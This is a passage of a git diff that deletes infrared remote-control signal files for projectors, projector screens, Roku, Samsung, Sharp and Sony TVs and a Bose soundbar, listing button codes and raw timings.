-# -name: Mute -type: parsed -protocol: NECext -address: 08 16 00 00 -command: C8 37 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/README.md b/assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/README.md deleted file mode 100644 index b6927805d..000000000 --- a/assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/README.md +++ /dev/null @@ -1 +0,0 @@ -These devices are of unknown brand and model. If you find what one of these is, please classify accordingly! Thank you! \ No newline at end of file diff --git a/assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/Scrn_innov.ir b/assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/Scrn_innov.ir deleted file mode 100644 index 43ae80d95..000000000 --- a/assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/Scrn_innov.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 181 7214 182 7213 173 4784 182 4774 181 4775 180 4777 178 4778 177 4779 176 4780 175 4781 174 7221 176 -# -name: Stop -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 180 7216 181 7214 183 4774 181 4775 180 4776 179 4777 179 4778 178 4779 177 4780 175 7219 178 7218 179 56308 178 7218 179 7216 181 4776 179 4777 178 4778 177 4779 176 4780 175 4781 175 4782 173 7222 175 7220 177 56310 176 7219 178 7217 180 4777 178 4778 177 4779 176 4780 175 4781 174 4782 173 4783 183 7213 173 7222 175 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 179 7217 180 7215 182 4774 181 4776 179 4776 179 4777 179 4778 177 4779 177 4780 175 7220 177 4779 176 56311 176 7219 178 7218 179 4777 178 4778 178 4779 177 4780 175 4781 175 4782 174 4782 174 7222 175 4781 175 56313 174 7221 176 7220 177 4779 177 4780 175 4781 175 4781 175 4782 174 4783 172 4784 182 7213 174 4783 173 diff --git a/assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/Stlth_acou.ir b/assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/Stlth_acou.ir deleted file mode 100644 index 103f1a76c..000000000 --- a/assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/Stlth_acou.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 6355 4752 1414 414 733 751 386 409 728 756 381 413 734 750 387 408 729 755 382 386 761 749 388 381 756 754 383 386 761 749 388 380 757 754 383 411 726 759 388 406 731 753 384 411 726 758 389 405 732 753 384 410 727 757 390 405 732 752 385 410 727 757 390 404 733 725 412 409 728 385 762 404 733 751 386 409 728 411 726 414 733 750 387 -# -name: Stop -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 6346 4759 1417 411 726 758 389 406 731 753 384 410 727 757 390 405 732 752 385 410 727 757 390 404 733 751 386 382 755 756 381 387 760 750 387 408 729 755 382 413 734 750 387 407 730 755 382 412 735 749 388 407 730 754 383 412 735 748 389 406 731 753 384 411 726 758 389 406 731 753 384 411 726 758 389 405 732 752 385 410 727 757 390 15724 6353 4753 1423 405 732 752 385 410 727 757 390 378 759 751 386 409 728 757 390 404 733 751 386 409 728 756 381 414 733 750 387 408 729 755 382 413 734 750 387 407 730 728 409 412 735 749 388 380 757 754 383 412 725 759 388 406 731 753 384 411 726 758 389 405 732 752 385 410 727 757 390 405 732 752 385 410 727 757 390 404 733 751 386 15729 6348 4758 1418 410 727 757 390 405 732 752 385 409 728 757 390 404 733 751 386 409 728 756 381 414 733 751 386 408 729 756 381 413 734 750 387 408 729 755 382 413 734 749 388 407 730 754 383 412 735 749 388 407 730 754 383 412 725 759 388 380 757 753 384 411 726 758 389 405 732 753 384 410 727 758 389 405 732 752 385 410 727 757 390 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 6344 4762 1415 413 734 750 387 381 756 755 382 386 761 749 388 380 757 754 383 411 726 758 389 406 731 753 384 410 727 757 390 405 732 752 385 409 728 730 417 404 733 751 386 409 728 756 381 413 734 750 387 408 729 755 382 412 735 749 388 407 730 727 410 411 726 758 389 405 732 408 729 755 382 757 390 404 733 407 730 754 383 756 381 15733 6346 4761 1416 386 761 749 388 407 730 754 383 412 735 748 389 406 731 753 384 411 726 758 389 405 732 752 385 410 727 757 390 404 733 751 386 409 728 756 381 414 733 750 387 408 729 755 382 413 734 750 387 408 729 728 409 413 734 749 388 407 730 754 383 385 762 748 389 406 731 409 728 756 381 758 389 405 732 408 729 755 382 757 390 15724 6354 4752 1425 404 733 751 386 409 728 756 381 413 734 750 387 381 756 755 382 412 735 749 388 407 730 754 383 412 725 758 389 406 731 753 384 411 726 758 389 405 732 752 385 410 727 757 390 404 733 751 386 409 728 756 381 413 734 750 387 408 729 755 382 413 734 749 388 407 730 409 728 756 381 758 389 406 731 408 729 755 382 758 389 diff --git a/assets/ir_optional_assets/optional-assets/Projectors/Casio/Casio_YT-130.ir b/assets/ir_optional_assets/optional-assets/Projectors/Casio/Casio_YT-130.ir deleted file mode 100644 index 8d7506b3d..000000000 --- a/assets/ir_optional_assets/optional-assets/Projectors/Casio/Casio_YT-130.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 0B F4 00 00 -# -name: Input -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 0A F5 00 00 -# -name: Menu -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 0C F3 00 00 -# -name: Zoom_up -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 1B E4 00 00 -# -name: Zoom_dwn -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 1A E5 00 00 -# -name: Focus_up -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 1D E2 00 00 -# -name: Focus_dwn -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 1C E3 00 00 -# -name: Up -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 4A B5 00 00 -# -name: Down -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 4B B4 00 00 -# -name: Left -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 4D B2 00 00 -# -name: Right -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 4E B1 00 00 -# -name: Enter -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 4C B3 00 00 -# -name: Keyst_up -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 2A D5 00 00 -# -name: Keyst_d -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 2D D2 00 00 -# -name: Auto -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 5B A4 00 00 -# -name: Aspect -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 5C A3 00 00 -# -name: Eco -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 3C C3 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir b/assets/ir_optional_assets/optional-assets/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir deleted file mode 100644 index c6037b75a..000000000 --- a/assets/ir_optional_assets/optional-assets/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 226 7356 231 7350 227 4756 222 4761 227 4756 222 4761 227 4756 232 4750 228 4756 222 4761 227 7353 224 -# -name: Stop -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 231 7350 226 4757 231 4752 226 4757 231 4752 226 4758 230 4753 225 4758 230 4753 225 7356 231 7350 226 59177 227 7354 222 4761 227 4756 222 4761 227 4756 222 4761 227 4756 222 4762 226 4757 221 7360 227 7354 222 59180 224 7357 230 4753 225 4759 229 4754 224 4759 229 4754 224 4759 229 4754 224 4760 228 7352 225 7357 230 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 222 7359 227 7353 223 4760 228 4756 222 4761 227 4756 222 4762 226 4757 231 4752 225 7355 231 4752 226 59177 224 7357 230 7351 225 4758 230 4753 225 4758 230 4753 225 4759 229 4753 225 4759 229 7352 224 4759 229 59173 228 7353 223 7358 229 4754 223 4760 228 4755 222 4761 227 4756 222 4761 227 4756 222 7360 226 4756 222 diff --git a/assets/ir_optional_assets/optional-assets/Projectors/Dragonfly/Dragonfly_Screen.ir b/assets/ir_optional_assets/optional-assets/Projectors/Dragonfly/Dragonfly_Screen.ir deleted file mode 100644 index a13e4155d..000000000 --- a/assets/ir_optional_assets/optional-assets/Projectors/Dragonfly/Dragonfly_Screen.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1277 429 1251 430 1250 430 1250 430 415 1239 441 1239 441 1265 415 1265 415 1239 441 1266 414 1240 1274 432 413 1268 412 1242 438 1242 1272 434 1246 435 1245 435 410 1270 1244 435 1255 425 1255 425 409 1271 1254 426 1254 427 1253 427 407 1272 1253 427 1253 428 1252 428 1252 429 405 -# -name: Lil_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1271 435 1255 425 1255 426 1254 426 408 1272 407 1272 407 1272 407 1273 1252 428 406 1274 405 1274 405 1274 405 1249 441 1239 440 1239 1275 432 1248 433 1247 433 412 1268 1246 434 411 1268 412 1269 411 1269 1245 435 410 1270 1255 426 408 1271 409 1271 409 1271 408 1272 1253 428 406 22225 1273 434 1246 435 1245 435 1255 425 409 1271 409 1270 410 1271 409 1271 1254 427 407 1272 407 1273 406 1273 406 1247 433 1248 431 1248 1277 430 1250 431 1249 431 414 1266 1248 432 413 1267 412 1267 413 1267 1247 434 411 1268 1246 435 410 1269 411 1270 410 1270 410 1244 1281 426 408 22224 1274 433 1247 433 1247 433 1247 434 411 1269 411 1269 411 1269 411 1270 1255 426 408 1271 409 1271 408 1271 409 1246 433 1246 433 1247 1278 429 1251 429 1250 430 404 1275 1250 431 414 1266 413 1266 413 1266 1248 433 412 1267 1247 434 411 1268 412 1268 412 1269 410 1243 1282 426 408 -# -name: Stop -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1280 427 1252 427 1252 428 1251 429 405 1274 405 1274 405 1275 415 1238 441 1265 414 1266 1248 432 413 1267 412 1267 412 1268 411 1268 1246 434 1245 435 1255 425 409 1271 409 1271 1254 426 1253 427 407 1272 408 1272 1253 428 1251 429 405 1274 1251 430 1249 430 1249 431 414 1266 1248 21384 1278 428 1252 428 1251 429 1251 430 404 1275 404 1275 415 1265 414 1239 440 1240 439 1240 1274 433 412 1268 411 1268 411 1269 410 1243 1282 425 1255 426 1254 426 408 1272 407 1272 1253 428 1251 428 406 1274 405 1274 1251 430 1250 430 415 1265 1249 431 1249 432 1247 432 413 1267 1247 21385 1277 429 1250 429 1251 430 1250 430 415 1265 414 1265 414 1266 413 1266 414 1240 439 1241 1273 434 411 1269 410 1269 410 1269 410 1270 1255 426 1254 426 1254 427 407 1272 407 1272 1253 428 1252 429 405 1274 405 1274 1251 430 1250 431 414 1266 1248 431 1249 432 1248 432 413 1267 1247 -# -name: Lil_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1275 432 1248 433 1247 433 1246 434 411 1269 410 1269 410 1243 1282 425 409 1270 409 1270 409 1271 409 1271 408 1246 433 1246 433 1247 1278 429 1250 430 1249 430 1249 431 414 1266 414 1265 414 1266 413 1266 1248 433 1247 433 1247 434 411 1268 1246 434 411 1269 411 1243 1282 425 1254 21377 1274 433 1246 433 1246 434 1245 435 410 1269 411 1269 410 1270 1255 426 408 1271 408 1245 434 1272 407 1246 433 1247 432 1247 433 1248 1277 430 1249 430 1249 431 1248 432 413 1266 414 1266 413 1267 412 1267 1247 434 1246 434 1246 435 410 1270 1255 425 409 1270 410 1271 1254 427 1252 21378 1273 434 1246 434 1246 435 1244 435 410 1270 410 1270 410 1244 1281 426 408 1271 408 1272 407 1272 408 1273 406 1247 432 1247 433 1248 1277 430 1249 431 1249 431 1249 432 413 1267 413 1266 414 1267 413 1267 1247 434 1246 434 1246 435 410 1270 1255 425 409 1270 409 1244 1281 427 1252 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1278 402 1277 402 1277 403 1276 404 441 1239 440 1240 439 1241 438 1241 438 1242 1272 408 437 1243 436 1244 435 1245 434 1246 433 1246 1278 402 1277 402 1277 403 1276 403 442 1239 1275 404 1275 405 1274 405 440 1241 438 1242 437 1242 437 1243 1281 398 1281 399 1280 400 1279 400 1279 diff --git a/assets/ir_optional_assets/optional-assets/Projectors/Epson/Epson.ir b/assets/ir_optional_assets/optional-assets/Projectors/Epson/Epson.ir deleted file mode 100644 index b29d592f7..000000000 --- a/assets/ir_optional_assets/optional-assets/Projectors/Epson/Epson.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 90 6F 00 00 -# -name: Hdmi_1 -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 73 8C 00 00 -# -name: Hdmi_2 -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 77 88 00 00 -# -name: Lan -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 74 8B 00 00 -# -name: Video -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 70 8F 00 00 -# -name: Pc -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9D 62 00 00 -# -name: Play -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 5E A1 00 00 -# -name: Pause -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 5B A4 00 00 -# -name: Stop -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 59 A6 00 00 -# -name: Vol_down -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 99 66 00 00 -# -name: Vol_up -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 98 67 00 00 -# -name: Menu -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9A 65 00 00 -# -name: Enter -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 85 7A 00 00 -# -name: Up -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B0 4F 00 00 -# -name: Down -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B2 4D 00 00 -# -name: Left -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B3 4C 00 00 -# -name: Right -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B1 4E 00 00 -# -name: Home -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 95 6A 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Roku.ir b/assets/ir_optional_assets/optional-assets/Roku.ir deleted file mode 100644 index 3634b105a..000000000 --- a/assets/ir_optional_assets/optional-assets/Roku.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0F F0 00 00 -# -name: Ok -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 18 E7 00 00 -# -name: Up -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 42 BD 00 00 -# -name: Down -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 43 BC 00 00 -# -name: Left -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 16 E9 00 00 -# -name: Right -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 15 EA 00 00 -# -name: V_up -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0C F3 00 00 -# -name: V_down -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0D F2 00 00 -# -name: Back -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 1B E4 00 00 -# -name: Home -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 14 EB 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Roku2.ir b/assets/ir_optional_assets/optional-assets/Roku2.ir deleted file mode 100644 index 77c3c767a..000000000 --- a/assets/ir_optional_assets/optional-assets/Roku2.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Home -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 03 FC 00 00 -# -name: Ok -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 2A D5 00 00 -# -name: Left -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 1E E1 00 00 -# -name: Right -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 2D D2 00 00 -# -name: Up -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 19 E6 00 00 -# -name: Down -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 33 CC 00 00 -# -name: Rewind -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 34 CB 00 00 -# -name: Play -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 4C B3 00 00 -# -name: Ff -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 55 AA 00 00 -# -name: Back -type: parsed -protocol: NECext -address: EA C2 00 00 -command: 66 99 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Samsung.ir b/assets/ir_optional_assets/optional-assets/Samsung.ir deleted file mode 100644 index 5949d82af..000000000 --- a/assets/ir_optional_assets/optional-assets/Samsung.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 02 00 00 00 -# -name: Up -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 60 00 00 00 -# -name: Left -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 65 00 00 00 -# -name: Select -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 68 00 00 00 -# -name: Right -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 62 00 00 00 -# -name: Down -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 61 00 00 00 -# -name: Menu -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: Source -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 01 00 00 00 -# -name: Return -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 58 00 00 00 -# -name: Exit -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 2D 00 00 00 -# -name: Vol_up -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 07 00 00 00 -# -name: Vol_down -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: Mute -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: Smarthub -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 79 00 00 00 -# -name: Info -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Samsung_TV.ir b/assets/ir_optional_assets/optional-assets/Samsung_TV.ir deleted file mode 100644 index d93189744..000000000 --- a/assets/ir_optional_assets/optional-assets/Samsung_TV.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: E6 00 00 00 -# -name: Source -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 01 00 00 00 -# -name: Mute -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: Vol_up -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 07 00 00 00 -# -name: Vol_down -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: Menu_left -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 65 00 00 00 -# -name: Menu_up -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 60 00 00 00 -# -name: Menu_right -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 62 00 00 00 -# -name: Menu_down -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 61 00 00 00 -# -name: Menu_back -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 58 00 00 00 -# -name: Menu_home -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 79 00 00 00 -# -name: Menu_enter -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 68 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Samsung_e6.ir b/assets/ir_optional_assets/optional-assets/Samsung_e6.ir deleted file mode 100644 index c43e24e5b..000000000 --- a/assets/ir_optional_assets/optional-assets/Samsung_e6.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: E6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Scrn_innov.ir b/assets/ir_optional_assets/optional-assets/Scrn_innov.ir deleted file mode 100644 index 43ae80d95..000000000 --- a/assets/ir_optional_assets/optional-assets/Scrn_innov.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 181 7214 182 7213 173 4784 182 4774 181 4775 180 4777 178 4778 177 4779 176 4780 175 4781 174 7221 176 -# -name: Stop -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 180 7216 181 7214 183 4774 181 4775 180 4776 179 4777 179 4778 178 4779 177 4780 175 7219 178 7218 179 56308 178 7218 179 7216 181 4776 179 4777 178 4778 177 4779 176 4780 175 4781 175 4782 173 7222 175 7220 177 56310 176 7219 178 7217 180 4777 178 4778 177 4779 176 4780 175 4781 174 4782 173 4783 183 7213 173 7222 175 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 179 7217 180 7215 182 4774 181 4776 179 4776 179 4777 179 4778 177 4779 177 4780 175 7220 177 4779 176 56311 176 7219 178 7218 179 4777 178 4778 178 4779 177 4780 175 4781 175 4782 174 4782 174 7222 175 4781 175 56313 174 7221 176 7220 177 4779 177 4780 175 4781 175 4781 175 4782 174 4783 172 4784 182 7213 174 4783 173 diff --git a/assets/ir_optional_assets/optional-assets/Sharp_Roku_TV.ir b/assets/ir_optional_assets/optional-assets/Sharp_Roku_TV.ir deleted file mode 100644 index e6fddc46c..000000000 --- a/assets/ir_optional_assets/optional-assets/Sharp_Roku_TV.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: Back -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 04 00 00 00 -# -name: Home -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 43 00 00 00 -# -name: V+ -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 02 00 00 00 -# -name: V- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 03 00 00 00 -# -name: Mute -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 09 00 00 00 -# -name: Up -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 56 00 00 00 -# -name: Down -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 57 00 00 00 -# -name: Left -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 58 00 00 00 -# -name: Right -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 59 00 00 00 -# -name: Ok -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: Again -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 41 00 00 00 -# -name: Sleep -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: Star -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: Rewind -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 4F 00 00 00 -# -name: Play Pause -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 42 00 00 00 -# -name: Fast Forward -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: Netflix -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: Hulu -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: Sling -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 45 00 00 00 -# -name: Now -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 67 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Sonyxbr.ir b/assets/ir_optional_assets/optional-assets/Sonyxbr.ir deleted file mode 100644 index c68e06da0..000000000 --- a/assets/ir_optional_assets/optional-assets/Sonyxbr.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: On -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 2E 00 00 00 -# -name: Off -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 2F 00 00 00 -# -name: Menu -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 60 00 00 00 -# -name: Up -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 74 00 00 00 -# -name: Left -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 34 00 00 00 -# -name: Ok -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 65 00 00 00 -# -name: Right -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 33 00 00 00 -# -name: Down -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 75 00 00 00 -# -name: Input -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 25 00 00 00 -# -name: Exit -type: parsed -protocol: SIRC15 -address: 97 00 00 00 -command: 23 00 00 00 -# -name: Vol_up -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 12 00 00 00 -# -name: Vol_down -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 13 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/SoundBars/Bose/Bose_Solo_2.ir b/assets/ir_optional_assets/optional-assets/SoundBars/Bose/Bose_Solo_2.ir deleted file mode 100644 index ac5b3d752..000000000 --- a/assets/ir_optional_assets/optional-assets/SoundBars/Bose/Bose_Solo_2.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1004 1513 481 515 487 1478 516 505 487 510 482 1484 510 1481 513 508 484 512 490 1475 509 513 489 1477 507 1484 510 511 481 515 487 1479 515 1474 510 50774 1005 1484 510 513 489 1476 508 513 489 508 484 1482 512 1479 515 506 486 511 481 1483 511 512 490 1475 509 1483 511 510 482 515 487 1504 490 1475 509 50777 1013 1503 491 506 486 1505 489 507 485 512 490 1501 483 1508 486 510 482 514 488 1503 481 515 487 1504 490 1500 484 512 490 506 486 1506 488 1502 482 -# -name: Vol_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1014 1477 517 478 514 509 483 487 515 480 512 484 508 488 514 1479 515 1476 508 1483 511 1481 513 1478 516 1475 509 1482 512 1479 515 480 512 483 509 50775 1014 1477 517 504 488 508 484 513 489 506 486 510 482 514 488 1478 516 1475 509 1483 511 1480 514 1477 517 1474 510 1482 512 1478 516 505 487 509 483 50770 1009 1481 513 508 484 512 490 506 486 510 482 514 488 508 484 1481 513 1478 516 1475 509 1483 511 1480 514 1477 517 1475 509 1482 512 509 483 513 489 -# -name: Vol_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1010 1508 486 509 483 513 489 507 485 512 490 505 487 510 482 1509 485 511 491 1501 483 1509 485 1507 487 1504 490 1502 482 1509 485 511 491 1500 484 50779 1010 1506 488 508 484 512 490 505 487 509 483 513 489 506 486 1506 488 507 485 1506 488 1503 481 1510 484 1508 486 1505 489 1503 481 514 488 1503 491 -# -name: Mute -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1014 1477 507 514 488 508 484 512 490 505 487 509 483 513 489 507 485 1480 514 1477 517 1475 509 1483 511 1480 514 1477 517 1475 509 1482 512 508 484 50774 1004 1486 508 513 489 507 485 511 491 504 488 508 484 513 489 505 487 1479 515 1476 508 1484 510 1481 513 1478 516 1475 509 1482 512 1480 514 507 485 50771 1007 1507 487 509 483 513 489 507 485 511 481 515 487 508 484 513 489 1502 482 1483 511 1481 513 1479 515 1476 508 1484 510 1481 513 1478 516 506 486 -# -name: Bluetooth -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1009 1510 484 1506 488 508 484 512 490 506 486 510 482 514 488 508 484 1508 486 510 482 1510 484 1507 487 1504 490 1502 482 1509 485 1506 488 507 485 50773 1005 1511 483 1507 487 509 483 513 489 506 486 510 482 514 488 508 484 1506 488 508 484 1507 487 1504 490 1501 483 1509 485 1506 488 1503 481 514 488 -# -name: Source -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1005 1511 483 513 489 507 485 511 491 506 486 1505 489 1503 481 1510 484 512 490 1501 483 1509 485 1506 488 1502 482 514 488 508 484 513 489 1501 483 50776 1009 1508 486 510 482 514 488 508 484 513 489 1503 481 1510 484 1508 486 510 482 1510 484 1507 487 1505 489 1502 482 514 488 508 484 512 490 1500 484 50771 1004 1512 482 514 488 508 484 512 490 506 486 1505 489 1502 482 1509 485 512 490 1500 484 1508 486 1505 489 1501 483 513 489 507 485 512 490 1499 485 -# -name: Bass -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1005 1512 482 1508 486 510 482 514 488 508 484 512 490 506 486 1504 490 506 486 510 482 1509 485 1506 488 1503 481 1510 484 1507 487 509 483 1507 487 50765 1010 1504 490 1502 482 514 488 508 484 512 490 505 487 508 484 